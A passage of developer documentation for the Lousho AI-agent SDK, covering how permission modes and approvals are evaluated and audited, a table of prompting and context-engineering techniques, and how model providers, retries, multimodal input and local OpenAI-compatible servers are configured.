  name: 'append_line',
  description: 'Append a line to a file in the project',
  input: z.object({ path: z.string(), line: z.string() }),
  needsApproval: true,
  editsFiles: true,
  execute: async ({ path, line }) => `appended to ${path}: ${line}`,
});
```

## Order of evaluation

For each tool call, in this order:

1. Argument validation, then `preToolCall` [hooks](/hooks). A hook deny ends here.
2. Permission rules (`permissions`). A `deny` rule ends here.
3. Tool [guardrails](/guardrails). A block ends the run.
4. The tool's own `needsApproval`. A deny ends here; an `allow` or `ask` rule replaces its ask.
5. The permission mode, on what is left.

So no mode turns a deny into a run: a hook deny, a `deny` rule and a
`needsApproval` deny still deny in every mode, and `acceptEdits` never approves
a call a guardrail blocked.

## Setting and switching the mode

* `createAgent({ permissionMode })`: the agent's mode. A function is read at
  every tool call, so a mode you switch while a run is going applies to its
  next call.
* `agent.send(message, { permissionMode })` / `agent.stream(...)`: the mode for
  that run only.
* `agent.session({ permissionMode })`, then `session.setPermissionMode(mode)`
  and the `session.permissionMode` getter. The session reads its mode at every
  tool call of a turn, so `setPermissionMode()` during a turn (from a
  `tool.start` listener, say - a `session.on()` listener or a `stream()` loop)
  applies from the next tool call of that turn. A
  session defaults to the agent's mode.

Switching is always an explicit call to `setPermissionMode()`. Each switch is
reported to `onPermissionModeChange` with `{ sessionId, from, to, at }`:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  provider,
  instructions: 'You are a coding agent.',
  onPermissionDecision: (entry) => console.log(entry.toolName, entry.decision, entry.mode),
  onPermissionModeChange: ({ sessionId, from, to, at }) => console.log(at, sessionId, `${from} -> ${to}`),
});
```

The system prompt is set when a run starts: only a run (or session turn) that
starts in plan mode is told about it. A switch during a run is enforced by the
tool-call gate alone, which is enough because the denied call's reason tells
the model.

## The audit log

While a mode other than `'default'` is set, every tool call's decision is
audited, even when the agent sets neither `permissions` nor
`onPermissionDecision`: it goes to `onPermissionDecision` (when set) and is
streamed as a `permission.decision` event. The entry's `mode` field is set when
the mode changed the call's outcome: `'plan'` or `'dontAsk'` with
`decision: 'deny'` and the mode's `reason`, `'acceptEdits'` with
`decision: 'allow'`. When the mode denied a call an `allow` rule matched, the
entry keeps that rule's `rule.index`. Mode switches go to
`onPermissionModeChange`. `onPermissionDecision` gets who the run acts for as
its second argument, `{ principal }`; the entry and the event carry no caller
identity (see [auth](/auth#principals-in-tools-and-approvals)).

## Sub-agents

A sub-agent (the `task` tool or a background task) runs
under the lead's mode while the lead's mode is not `'default'`, and under its
own `permissionMode` otherwise. A sub-agent created with
`permissionMode: 'plan'` stays in plan mode whatever the lead's mode is. The mode is read at each of the sub-agent's tool
calls, so switching the lead's session mode applies to a sub-agent that is
running. That is what makes `task` safe in plan mode: the sub-agent cannot
change anything either.

A [remote sub-agent](/sub-agents) (`remoteAgent()`) runs on another server
under that server's own permissions, so it cannot be held to the lead's mode: in
plan mode a `task` call to it is refused without contacting it, and in
`dontAsk` mode a remote approval fails the task instead of pausing the lead.

## Resuming after an approval

The mode is not saved in checkpoints or approval snapshots. A run continued by
`agent.approvals.resolve()` uses the paused session's current mode when the
paused run belonged to a session, else the agent's mode (not the mode a
`send()` call passed). So a turn paused in `'default'` and resolved after
`session.setPermissionMode('dontAsk')` runs the approved call and then refuses
the calls after it that would ask. In plan mode the approved call itself is
refused too when its tool is not read-only.

A resume in another process uses the mode the resuming agent or session has.


# Prompting and context techniques
Source: https://lousho.com/prompting-techniques

Agent quality comes from three layers, and it is worth knowing which layer a technique lives at, because the fix for a misbehaving agent is different at each one:

1. **Prompt-level techniques** — what a single model call is asked to do and
   how the ask is phrased.
2. **Context engineering** — what fills the context window: what gets
   written, selected, compressed and isolated.
3. **Agentic workflow patterns** — how many calls, in what shape, with which
   gates: chains, routing, parallel workers, evaluators, waves, phases.

Lousho gives you the second and third layers as real machinery (tools,
permissions, memory, sub-agents, flows, evaluators), so prompt-level
techniques stay a thin layer of instructions on top.

## Prompt-level techniques

These all reduce to instructions and message shape — `createAgent`'s
`instructions`, seeded session turns, and `output` schemas.

| Technique | What it is | How to use it in Lousho |
| - | - | - |
| Zero-shot | Task + constraints only, no examples | The default: `instructions` |
| Few-shot (in-context learning) | Show input/output pairs so the model copies the shape | Put example pairs in `instructions`, or seed `agent.session().send()` turns — a scripted "user/assistant" exchange the real turn continues |
| Chain-of-thought | "Think step by step" before answering | Instructions. Prefer `reasoning` effort where the provider supports it — reasoning tokens are cleaner than prompted monologue |
| Self-consistency | Sample N answers, take the majority | N runs + a vote step (a flow `parallel`/`llmCall` fan-out, or a sub-agent per sample) |
| Tree/graph-of-thoughts | Explore a branching search of reasoning paths | A sub-agent per branch, an aggregator comparing them — same fan-out shape as [deep-research](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/deep-research) |
| ReAct | Interleave reasoning and acting | The agent loop itself: every Lousho tool loop is ReAct |
| Reflexion | Critique the last attempt, retry with the critique | [evaluator-loop](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/evaluator-loop): `llmCritique` feedback carried into the next draft |
| Least-to-most | Solve the easy sub-problem first, chain to harder ones | Instructions decomposing into ordered steps, or a `flows` sequence |
| Plan-and-solve / plan-and-execute | Write a plan, then execute it | `permissionMode: 'plan'` — the agent must produce a plan before any write tool runs; see [plan-mode](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/plan-mode) |
| Skeleton-of-thought | Outline first, expand each point (in parallel) | A `task` fan-out over outline points — the deep-research shape |
| Self-ask | The model asks and answers its own follow-ups | Instructions, or an explicit `oneOf` flow that loops a clarifying sub-agent |
| Generated knowledge | Ask the model to state relevant facts, then answer | A first `llmCall` into a variable, the second prompt templated with it |
| Meta-prompting | A model writes the prompt another call uses | One `llmCall` emitting the next step's prompt text into a variable |
| Persona / role | "You are a …" framing | `instructions` — keep it to scope and tone; personas don't add knowledge |
| Negative / constrained prompting | "Never do X", output restrictions | Instructions for style; enforcement belongs in [guardrails](/guardrails) and permission rules, not the prompt |
| Delimiters & instruction hierarchy | Mark untrusted data vs. instructions | Quote tool results/data in instructions; permission rules and `principal` are the real trust boundary — a hostile tool result can't overwrite a `deny` rule |
| Scratchpad | Give the model a place to write working notes | A memory slot (`remember_*`/`recall_*` tools), or a file in the workspace tools' dir, or `.claude/scratchpad/` via `claudeProject()` |
| Structured / constrained output | The answer must match a schema | `createAgent({ output: schema })` — validated, typed, retried on parse failure. See [Structured output](/structured-output) |

Two rules of thumb:

* Instructions steer; machinery enforces. Anything that must *never* happen
  (no deletes, no prod writes) goes in `permissions`, guardrails and tools —
  not the prompt.
* Techniques that spend more tokens (self-consistency, trees, critiques) pay
  off where a wrong answer is expensive; watch `result.usage` / `limits` and
  budget them like any other spend.

## Context engineering

The four operations, and where each lives in the SDK:

| Operation | What it means | Lousho surface |
| - | - | - |
| **Write** | Persist information outside the transcript so a later turn/run can reload it | Memory slots (`defineMemory` → `remember_*`/`recall_*` tools, scoped per user/sender/run), checkpoint + session stores, `store: { dir }` in agent dirs |
| **Select** | Load only what's relevant right now | Skills (`load_skill` progressive disclosure), `toolSearch`/`deferLoading` (tools found on demand), memory scopes |
| **Compress** | Shrink what's already there | `compaction` (summarize old turns), tool-result truncation, `inputFilter` on handoffs |
| **Isolate** | Run work in a clean context so detail doesn't flood the lead | Sub-agents (`task` calls see only their prompt), code mode (`run_code` returns one value), the `inputFilter` boundary |

```ts theme={null}
import { createAgent, loadSkills } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const provider = mockModel([{ text: 'done' }]);
const researchAgent = createAgent({ provider, instructions: 'You research one slice.' });

const agent = createAgent({
  provider,
  instructions: 'You triage inbound email.',
  skills: await loadSkills('./skills'),             // select: bodies load on demand
  toolSearch: { thresholdPercent: 0.1 },            // select: big tool surface stays deferred
  compaction: { summarizer: 'openai/gpt-4o-mini' }, // compress: old turns fold into a summary
  subagents: { researcher: researchAgent },         // isolate: task runs in a clean context
});
```

The practical ordering: write durable facts to memory, select skills and
tools on demand, compress the transcript when it grows, isolate anything
token-hungry (search result dumps, file reads, subprocess output) behind a
sub-agent or a tool that returns a digest.

## Agentic workflow patterns

The canonical shapes (Anthropic's "building effective agents" taxonomy) and
the community terms that named two of them — all runnable in the repo:

| Pattern | Shape | Lousho example |
| - | - | - |
| Prompt chaining | Step → step → step, each a call | `flows` sequences (`llmCall` → `llmCall`) |
| Routing | Classify, then dispatch to a specialist | [workflow-router](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/workflow-router); durable version: [support-desk](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/support-desk) handoffs |
| Parallelization | N calls at once, results merged | Parallel `task` calls (`toolConcurrency` is unbounded by default) |
| Orchestrator-workers | A lead decomposes work, workers execute | [deep-research](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/deep-research) |
| Evaluator-optimizer | Draft → score → revise loop | [evaluator-loop](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/evaluator-loop) (`llmCritique`) |
| **Wave engineering** | Bounded waves of parallel workers with a verify gate and scoped extension (WAVES: Workers · Aggregate · Verify · Extend) | [waves](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/waves) |
| **Phase engineering** | Deterministic phase pipelines — spec → plan → implement → verify — the model can't skip, with proof-command gates | [phase-pipeline](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/phase-pipeline) (flows + real proof steps) |
| Autonomous loop | Open-ended tool loop until done | The default agent loop, bounded by `maxSteps`, `limits`, permissions |
| Handoffs | Control transfers wholesale to a specialist | [support-desk](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/support-desk), [handoffs](/handoffs) |

### Typed decisions ("System One" style)

Some steps shouldn't generate text at all — they should *decide*: classify,
route, score, verify. The pattern
is a typed probabilistic decision: unstructured state in, `{ action,
confidence }` out, and the workflow branches on it. In Lousho that's an
agent with an `output` schema feeding a flow's `oneOf` — and a confidence
floor that routes low-confidence calls to a human instead of acting on a
guess:

```ts theme={null}
const triage = createAgent({
  provider,
  output: z.object({
    action: z.enum(['patch', 'ask-human', 'wontfix']),
    confidence: z.number(),
    reason: z.string(),
  }),
});
// in the flow: oneOf on result.object.action,
// and confidence < 0.7 routes to a human queue rather than acting.
```

[coding-agent-workflows](https://github.com/LinuxDevil/agent-sdk/tree/main/examples/coding-agent-workflows)
is the full example: a coding agent driven by a deterministic workflow whose
branch points are typed decisions, where confidence below the floor exits
`needs-human` instead of patching.

On OpenAI there is also a dedicated fast path: [`decide()`](/decisions)
calls the Decisions API, which returns the same three shapes — predicate
probability, choice with a distribution, rubric score — as one call, roughly
10x faster than an agent turn and without any generated prose.

## Where to go next

* [Structured output](/structured-output), [evals](/evals)
  (`llmJudge`, `llmCritique`) for the decide/score primitives
* [Flows](/flows) for deterministic pipelines and phase gating
* [Sub-agents](/sub-agents) and [handoffs](/handoffs) for parallel
  and transfer patterns
* [Memory](/memory), [compaction](/compaction), [skills](/skills),
  [tool search](/tool-search) for the context layer
* [Approvals](/approvals) and [guardrails](/guardrails) for the gates
  that keep bounded autonomy safe


# Providers
Source: https://lousho.com/providers



An `LLMProvider` is what an agent generates with. The SDK ships OpenAI,
Anthropic, Google (Gemini), OpenRouter, Ollama and `pi` providers (each backed by an optional
peer package, see [Installation](/installation#provider-packages)) and a
deterministic mock for tests. Name one with a `provider/model` string, or pass
a provider instance. The `vendor/` model prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { resolveProvider, LLMProviderRegistry } from '@lousho/build-ai-agent';

// The convenient way — reads the credential from the environment
const openai = resolveProvider('openai/gpt-4o-mini');       // OPENAI_API_KEY
const anthropic = resolveProvider('anthropic/claude-sonnet-5-5'); // ANTHROPIC_API_KEY
const google = resolveProvider('google/gemini-2.5-flash');   // GOOGLE_GENERATIVE_AI_API_KEY
const openrouter = resolveProvider('openrouter/openai/gpt-4o-mini'); // OPENROUTER_API_KEY
const ollama = resolveProvider('ollama/llama3.1');           // OLLAMA_BASE_URL
// pi runs one catalog through `pi/<pi-provider>/<model>` (nested slashes ok):
const pi = resolveProvider('pi/openrouter/openai/gpt-4o-mini');    // OPENROUTER_API_KEY

// Or construct a provider directly via the registry
const custom = LLMProviderRegistry.create('openai', {
  apiKey: process.env.OPENAI_API_KEY,
  defaultModel: 'gpt-4o-mini',
});
```

The `google/` prefix needs the optional `@ai-sdk/google` package (`^1.2.0` with
`ai` 4, `^3.0.0` with `ai` 6, `^4.0.0` with `ai` 7) and reads
`GOOGLE_GENERATIVE_AI_API_KEY`, the variable `@ai-sdk/google` itself uses.

### Vendors without a prefix

A prefix the SDK does not know fails with
[`LOUSHO_PROVIDER_UNKNOWN`](/errors#lousho_provider_unknown). A near-miss
(`anthopic/...`) gets a "did you mean"; any other vendor gets the ways to reach
it anyway:

* `openrouter/<vendor>/<model>`: OpenRouter serves most vendors with one
  `OPENROUTER_API_KEY` (e.g. `openrouter/mistralai/mistral-large`; OpenRouter's
  own vendor names can differ from the AI SDK's).
* `pi/<vendor>/<model>`, when pi serves that vendor (`xai`, `groq`, `mistral`,
  `deepseek`, `amazon-bedrock`, `azure`, ...); see [the `pi` provider](#the-pi-provider).
* the vendor's own AI SDK package with
  [`fromAiSdk()`](#any-ai-sdk-model-fromaisdk), e.g.
  `createAgent({ provider: fromAiSdk(mistral('mistral-large-latest')) })`.

## Choosing the provider in `createAgent()`

`createAgent()` takes exactly one of:

1. **`model: 'provider/model'`** - resolved with `resolveProvider()`; the key
   comes from the provider's conventional environment variable (see
   [Provider credentials](/configuration#provider-credentials)).
2. **`provider: <LLMProvider>`** - your own provider, a configured built-in
   one, or a mock. You may also pass `model` (a bare id such as `'gpt-4o'`): it
   becomes this agent's model, overriding the provider's default.
3. **Neither** - resolved from the environment: `LOUSHO_MODEL` (a
   `provider/model` string) if set, otherwise the first of `OPENAI_API_KEY`,
   `ANTHROPIC_API_KEY`, `OPENROUTER_API_KEY`, `OLLAMA_BASE_URL` that is
   present. With none set it throws an error listing the fixes.

```ts theme={null}
import { createAgent, createMockProvider, resolveProvider } from '@lousho/build-ai-agent';

const fromString = createAgent({ model: 'anthropic/claude-sonnet-5-5' });
const fromInstance = createAgent({ provider: resolveProvider('openai/gpt-4o-mini'), model: 'gpt-4o' });
const offline = createAgent({ provider: createMockProvider({ responses: ['Hi! How can I help?'] }) });
```

Misconfiguration errors say how to fix themselves: a missing key names the
variable, an unknown prefix lists the supported ones and suggests the closest,
and a missing peer package prints the exact `npm install` command.

### Retries and fallback models

`createAgent()` retries a failed model call (rate limit, timeout, network
error, 5xx) twice by default, and with `fallbackModels` moves on to the next
model when the call still fails:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  retry: { maxRetries: 3 }, // or false
  fallbackModels: ['anthropic/claude-haiku-4-5', 'openrouter/meta-llama/llama-3.3-70b-instruct'],
});
```

The `model` string and each fallback are resolved with the `ai` SDK's own
retries off, so `retry` is the only retry layer. A built-in provider instance
and a `fromAiSdk()` provider are wrapped the same way (with their own
`maxRetries`, default 2, when `retry` is unset), and their `ai` SDK retries
are then off (`retry: false` sends each call once). Any other `provider`
instance is wrapped only when you set `retry`. A streamed step that fails before
any text or tool call (after reasoning only) is retried as well. `agent.stream()` reports `provider.retry`
and `provider.fallback` events. Details in
[Provider retries and fallback](/configuration#provider-retries-and-fallback).

## Which model runs?

In order: the agent's own `settings.model` (set with
`AgentBuilder.setSettings({ model })`, or `model` next to `provider` in
`createAgent()`), then the model the provider was built with
(`resolveProvider('openai/gpt-4o-mini')`, a spec's `provider.model`, or
`defaultModel`), then the provider's built-in default. That last default only
applies when nothing configured a model — a model you set is never overridden
by a hard-coded one.

## Multimodal input

`Message.content` is a string or a list of parts: `{ type: 'text', text }`,
`{ type: 'image', image, mimeType? }` (an `http(s)` URL, a `data:` URL or the
bytes as a `Uint8Array`) and `{ type: 'file', data, mimeType, filename? }`.
`agent.send()`, `agent.stream()`, `session.send()` / `stream()`, `t.send()` in
evals and the React hook's `send()` all take an `AgentInput`: a string, a list
of parts (sent as one user message) or a `Message[]` (passed through as it is;
the agent's system prompt is added in front unless the list already starts
with it, so a `result.messages` can be sent back with a new user message).
Parts sent through `createAgent()`:

```ts theme={null}
import { readFileSync } from 'node:fs';
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'Describe images briefly.', model: 'openai/gpt-4o-mini' });

// Parts become one user message.
const answer = await agent.send([
  { type: 'text', text: 'What is in these pictures?' },
  { type: 'image', image: 'https://example.com/cat.png' },
  { type: 'image', image: new Uint8Array(readFileSync('dog.png')), mimeType: 'image/png' },
]);
console.log(answer.text);
```

A `Message[]` is passed through as it is; `textOf()` returns the text parts of a message:

```ts theme={null}
import { createAgent, textOf, type Message } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'Describe images briefly.', model: 'openai/gpt-4o-mini' });
const messages: Message[] = [
  {
    role: 'user',
    content: [
      { type: 'text', text: 'What is in this picture?' },
      { type: 'image', image: 'https://example.com/cat.png' },
    ],
  },
];

const result = await agent.send(messages);
console.log(textOf(messages[0]), '->', result.text);
```

* **Images** go to the model on `user` messages with every built-in provider
  (an image URL is downloaded by the `ai` SDK first for Anthropic and Ollama;
  `pi` sends `data:` URLs and bytes only - an `http(s)` URL degrades to a text
  note with a one-time warning). Pick a vision model: Ollama ignores images
  for a text-only model, and OpenRouter rejects them for one.
* **Files** (`{ type: 'file', data, mimeType }`) are sent as `file` parts for
  these media types, by provider and `ai` major:

  | Provider | `ai` 4 | `ai` 6 / 7 |
  | - | - | - |
  | `openai` | none | `application/pdf` |
  | `anthropic` | none | `application/pdf`, `text/plain` |
  | `google` | none | `application/pdf`, `text/plain` |
  | `openrouter` | none | `application/pdf` |
  | `ollama` | none | none |
  | `pi` | none (always a text note) | none (always a text note; pi has no file part) |

  Any other file part rejects the call with
  [`LOUSHO_UNSUPPORTED_CONTENT`](/errors#lousho_unsupported_content)
  before anything is sent, so the model never answers without the file (and
  under `withFallback()` the next provider gets the call). To send a text note
  in its place instead (`[file report.pdf (application/pdf) not sent]`, with
  one warning per media type), set the provider config's
  `unsupportedFiles: 'text-note'` (`fromAiSdk()` takes the same option). On
  `ai` 4 the accepted `@ai-sdk/*` range includes 0.0.x packages that have no
  file parts, so every file is unsupported there. The `pi` provider still
  sends every file part as a text note with a one-time warning. A provider subclass whose model takes more types
  overrides `protected fileMediaTypes(): readonly string[]` to list them, or
  sets `protected readonly acceptsFileParts = true` to send every type.
* `system`, `assistant` and `tool` messages are sent as their text parts.
* Everything that reads message text uses `textOf()`: `estimateTokens()`
  (each image or file part counts as a flat 1,000 tokens), compaction,
  `recordReplay()` cassettes (which store the text and a digest of each
  image or file, or its URL) and `mockModel()`. `FileSessionStore` saves bytes
  as base64 (`{ "$bytes": "..." }`) and loads them back as `Uint8Array`s;
  `SqliteStore` (sessions and checkpoints) does the same.

#### Advanced: the executor API

`AgentExecutor.execute()` takes the same messages as its `input` (see [the executor API](/executor-api)):

```ts theme={null}
import { AgentBuilder, AgentExecutor } from '@lousho/build-ai-agent/executor';
import { resolveProvider, type Message } from '@lousho/build-ai-agent';

const agent = AgentBuilder.create().setName('vision').setPrompt('Describe images briefly.').build();
const input: Message[] = [
  {
    role: 'user',
    content: [
      { type: 'text', text: 'What is in this picture?' },
      { type: 'image', image: 'https://example.com/cat.png' },
    ],
  },
];

const result = await AgentExecutor.execute({ agent, input, provider: resolveProvider('openai/gpt-4o-mini') });
console.log(result.text);
```

## Provider classes

| Export | Description |
| - | - |
| `resolveProvider('p/model')` | Build a real provider from environment credentials. |
| `LLMProviderRegistry` | Registry of provider factories: `create(type, config)`, `register(type, factory)`, `has(type)`. |
| `OpenAIProvider`, `AnthropicProvider`, `GoogleProvider`, `OllamaProvider`, `OpenRouterProvider`, `PiProvider` | The provider classes. See [examples/openrouter](https://github.com/LinuxDevil/agent-sdk/blob/main/examples/openrouter) for OpenRouter-specific features. `PiProvider` is the `pi/...` adapter below. |
| `createMockProvider()`, `MockLLMProvider` | Canned responses for demos; simulates a tool call when the message names a tool. |
| `mockModel(script)` | Scripted, asserting provider for tests (from `/testing`); see [Testing](/testing). |
| `withRetry()`, `withFallback()` | Retry transient failures with backoff and fall back to the next provider; see [Provider retries and fallback](/configuration#provider-retries-and-fallback). |
| `fromAiSdk(model, options?)` | Any AI SDK `LanguageModel` (Google, Bedrock, Azure, Mistral, the Gateway, ...) as a provider; see [below](#any-ai-sdk-model-fromaisdk). |

To use another backend, first check whether it has an AI SDK provider package:
then wrap its model with `fromAiSdk()` (below). Otherwise implement the
`LLMProvider` interface (`name`, `generate()`, `stream()`, `supportsTools()`,
`supportsStreaming()`, `getModels()`, optionally `defaultModel`) and pass the
instance as `provider`, or register a factory with
`LLMProviderRegistry.register(name, factory)`; a registered name then works in a
model string (`model: 'name/model-id'`), and the factory receives `defaultModel` and reads its
own credentials. A factory can take its own config type, an interface that
extends `LLMProviderConfig` (for example `BedrockConfig` with a `region`):
`register('bedrock', (config: BedrockConfig) => new BedrockProvider(config))`,
then `LLMProviderRegistry.create('bedrock', { region: 'eu-west-1' })`.
A built-in name (`'openai'`, `'anthropic'`, `'google'`, `'openrouter'`, `'ollama'`, `'pi'`,
`'mock'`) takes that provider's own config type (`BuiltinProviderConfigs`), so
`create('openai', { baseUrl: '...' })` is a type error; if you registered your
own factory under a built-in name, pass its config type:
`create<MyOpenAIConfig>('openai', ...)`.

### Request timeout

The built-in providers' `timeout` option (ms) is the longest wait for a model
response to start and between two of its chunks. A call that waits longer
fails with a retryable `TimeoutError` (`compacted.category: 'timeout'`), which
`retry` retries. It never cuts off an answer that keeps streaming. The default
is 10 minutes; `0` or `Infinity` turns it off.

The timeout applies to each attempt, and a timed-out attempt is retried (a
hung connection is often transient), so a provider that never answers fails
after up to `timeout` × (`maxRetries` + 1) plus the backoff: about 30 minutes
with the defaults (10 minutes, 2 retries). A stream that stalls after it sent
text is not retried, so it fails after one `timeout`. To fail sooner, lower
`timeout` or `retry.maxRetries`.

```ts theme={null}
import { OpenAIProvider } from '@lousho/build-ai-agent';

const provider = new OpenAIProvider({ apiKey: process.env.OPENAI_API_KEY!, timeout: 60_000 });
```

### OpenAI response storage (`store`)

On the Responses API (the default `api`, on `ai` 6/7), `OpenAIProvider` sends
`store: false`, so OpenAI does not keep the calls server-side: the SDK sends
the whole transcript on every call and never refers to a stored response.
Pass `store: true` to have OpenAI store them (for its dashboard logs or
evals). `store` is ignored with `api: 'chat'`.

```ts theme={null}
import { OpenAIProvider } from '@lousho/build-ai-agent';

const provider = new OpenAIProvider({ apiKey: process.env.OPENAI_API_KEY!, store: true });
```

### Slow local models: a custom `fetch`

`OpenAIProvider`, `AnthropicProvider`, `OpenRouterProvider` and
`OllamaProvider` take a `fetch` option that their model calls go through.
Node's built-in `fetch` gives up on a response whose headers take over 300
seconds (`Headers Timeout Error`), which a large local model can hit on a
long non-streamed generation. The SDK classifies that failure as a retryable
`timeout`, but every retry starts the generation over, so raise the limit
instead. Install `undici` and pass its `Agent` as the dispatcher:

```ts theme={null}
import { Agent } from 'undici';
import { createAgent, OpenAIProvider } from '@lousho/build-ai-agent';

// Wait up to 15 minutes for the response headers and between body chunks.
const dispatcher = new Agent({ headersTimeout: 15 * 60_000, bodyTimeout: 15 * 60_000 });

const agent = createAgent({
  provider: new OpenAIProvider({
    apiKey: 'lm-studio',
    baseURL: 'http://localhost:1234/v1',
    defaultModel: 'qwen3-32b',
    fetch: (input, init) => fetch(input, { ...init, dispatcher } as RequestInit),
    timeout: 15 * 60_000, // the provider's own limit (default 10 minutes) too
  }),
  retry: { maxRetries: 2 },
});
```

### A custom `fetch` for proxies and tests

Besides longer timeouts, `fetch` is the hook for a corporate proxy, for
logging every request, or for fault injection in tests. `OpenAIProvider`,
`AnthropicProvider`, `OpenRouterProvider` and `OllamaProvider` all take it
the same way, and `OpenRouterProvider` and `OllamaProvider` also use it for
their model-catalog requests. Their error handling and request changes wrap
your function, so a failure you return from it is classified as it would be
from the real network:

```ts theme={null}
import { OpenRouterProvider } from '@lousho/build-ai-agent';

let failures = 1;
const provider = new OpenRouterProvider({
  apiKey: 'test-key',
  // Fail the first request with a 503, then pass through (to exercise retries).
  fetch: async (input, init) =>
    failures-- > 0 ? new Response('upstream down', { status: 503 }) : fetch(input, init),
});
```

### Any AI SDK model: fromAiSdk()

`fromAiSdk(model)` turns a language model from any AI SDK provider package
into an `LLMProvider`, so you do not write an adapter:

```ts theme={null}
import { createOpenAI } from '@ai-sdk/openai';
import { createAgent, fromAiSdk } from '@lousho/build-ai-agent';

const openai = createOpenAI({ apiKey: process.env.OPENAI_API_KEY });
const agent = createAgent({
  provider: fromAiSdk(openai.chat('gpt-4o-mini'), { fileMediaTypes: ['application/pdf'] }),
  instructions: 'You are a helpful assistant.',
});
```

The same works with `@ai-sdk/google` (`google('gemini-2.5-flash')`),
`@ai-sdk/amazon-bedrock`, `@ai-sdk/azure`, `@ai-sdk/mistral` and the AI Gateway
(`gateway('openai/gpt-4o')` from `ai` 7 or `@ai-sdk/gateway`). Calls go through
your installed `ai`, so install the provider package major that pairs with it
(see [Vercel AI SDK versions](#vercel-ai-sdk-versions)).

| Option | Default | Description |
| - | - | - |
| `name` | the model's `provider` field, else `'ai-sdk'` | Provider name in events, spans and warnings. |
| `fileMediaTypes` | `[]` | Media types sent as `file` parts. Images are always sent. |
| `unsupportedFiles` | `'error'` | Any other file part: reject the call with `LOUSHO_UNSUPPORTED_CONTENT` (`'error'`), or send a text note in its place (`'text-note'`). |
| `replaysReasoning` | `false` | Send signed reasoning blocks back on assistant turns (Anthropic models). |
| `maxRetries` | `0` (direct calls), `2` (under `createAgent()`) | Called directly, the AI SDK's own retries per call. Under `createAgent()` without `retry`, the retries of the `withRetry()` it wraps the provider in. |

The provider serves the one model it wraps, with tools and streaming on, and
leaves reasoning settings to the model you built (the `reasoning` option is not
mapped). Each throws `LOUSHO_CONFIG_INVALID`:

* a model id string (`fromAiSdk('openai/gpt-4o')`): pass the provider
  function's model instead;
* a model for another `ai` major than the installed one (a
  `specificationVersion: 'v1'` model with `ai` 6 / 7, or a newer one with
  `ai` 4);
* a run with another `model` id than the wrapped one (inside a run it is the
  cause of the `LOUSHO_PROVIDER_REQUEST_FAILED` error): wrap each model with
  `fromAiSdk()` and combine them with `withFallback()`.

Tools written for the AI SDK (`tool({ ... })`) come over with `fromAiSdkTools()`; see
[Migrating from the AI SDK](/migrating-from-ai-sdk#tools-fromaisdktools).

### The `pi` provider

`pi/<pi-provider>/<model>` routes a call through
[`@earendil-works/pi-ai`](https://www.npmjs.com/package/@earendil-works/pi-ai)
(the engine `pi-coding-agent` runs on), an optional peer that needs no `ai`
package:

```bash theme={null}
npm install @earendil-works/pi-ai@^1.0.3
```

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

// OpenRouter's `openai/gpt-4o-mini`, through pi's openrouter adapter:
const agent = createAgent({ model: 'pi/openrouter/openai/gpt-4o-mini' });
```

The segment after `pi/` is a **pi provider** (`openrouter`, `anthropic`,
`openai`, `google`, ...); the rest is the catalog model id verbatim, slashes
included. Credentials are per nested provider: pi reads each one's own
conventional env var (`OPENROUTER_API_KEY`, `ANTHROPIC_API_KEY`, ...), so a
`pi/anthropic/...` spec never sees an OpenRouter key. `lousho init --provider pi` scaffolds the `pi/openrouter/...` default. A nested provider
whose key is missing fails the call with `LOUSHO_PROVIDER_MISSING_API_KEY`
naming the variable, and a missing `@earendil-works/pi-ai` fails it with the
usual `MissingPeerDependencyError`.

What maps, per call:

* messages: `system` to pi's `systemPrompt`, `user`/`assistant`/`tool` in
  place; assistant `reasoning` blocks become thinking parts and a `tool`
  message's `toolCallId` links it to its call;
* tools: `parameters` is sent as JSON Schema - raw JSON Schema, zod 3, zod 4
  and Standard Schema inputs are converted once and cached;
* streams: pi's `text_delta`/`thinking_delta`/`toolcall_*`/`done`/`error`
  events become the same `text-delta`/`reasoning-*`/`tool-call`/`finish`/
  `error` chunks the `ai` providers emit, so `agent.stream()` events and
  `result.usage` are unchanged;
* usage and cost: pi's per-call usage (including `cacheRead`) is carried
  into the run total, and the catalog's prices register the model for the
  run's `usage.costUsd`;
* retries: pi's own `maxRetries` is pinned off - `retry`/`fallbackModels`
  stay the only retry layer, like every built-in.

`PiProviderConfig.models` injects catalog entries (pi's faux provider, a
private catalog) ahead of the built-in list. `pi` is Node-only: the
`cloudflare-worker` target refuses `pi/...` specs and its bundle redirects
the package to a coded shim.

## Local and OpenAI-compatible servers

LM Studio, Ollama's `/v1`, vLLM, llama.cpp's `llama-server` and hosted
OpenAI-compatible APIs (Groq, DeepSeek, Together, ...) all speak the OpenAI
wire format. Point `OpenAIProvider` at the server's `/v1` URL and pick the API
it implements with `api`:

```ts theme={null}
import { createAgent, OpenAIProvider } from '@lousho/build-ai-agent';

const agent = createAgent({
  provider: new OpenAIProvider({
    name: 'openai',
    baseURL: 'http://localhost:1234/v1', // LM Studio
    apiKey: 'any', // local servers ignore the key, but one is required
    api: 'chat', // POST /v1/chat/completions
    defaultModel: 'qwen3-8b',
  }),
  compaction: { contextWindow: 8_192 }, // the window the model is loaded with
  instructions: 'You are a helpful assistant.',
});
```

| Server | Base URL | API |
| - | - | - |
| LM Studio | `http://localhost:1234/v1` | `'chat'` or `'responses'` |
| Ollama | `http://localhost:11434/v1` | `'chat'` (or use the native `ollama/<model>` provider) |
| vLLM (`vllm serve`) | `http://localhost:8000/v1` | `'chat'` |
| llama.cpp (`llama-server`) | `http://localhost:8080/v1` | `'chat'` |

* `api` defaults to `'responses'` (`POST /v1/responses`, what api.openai.com
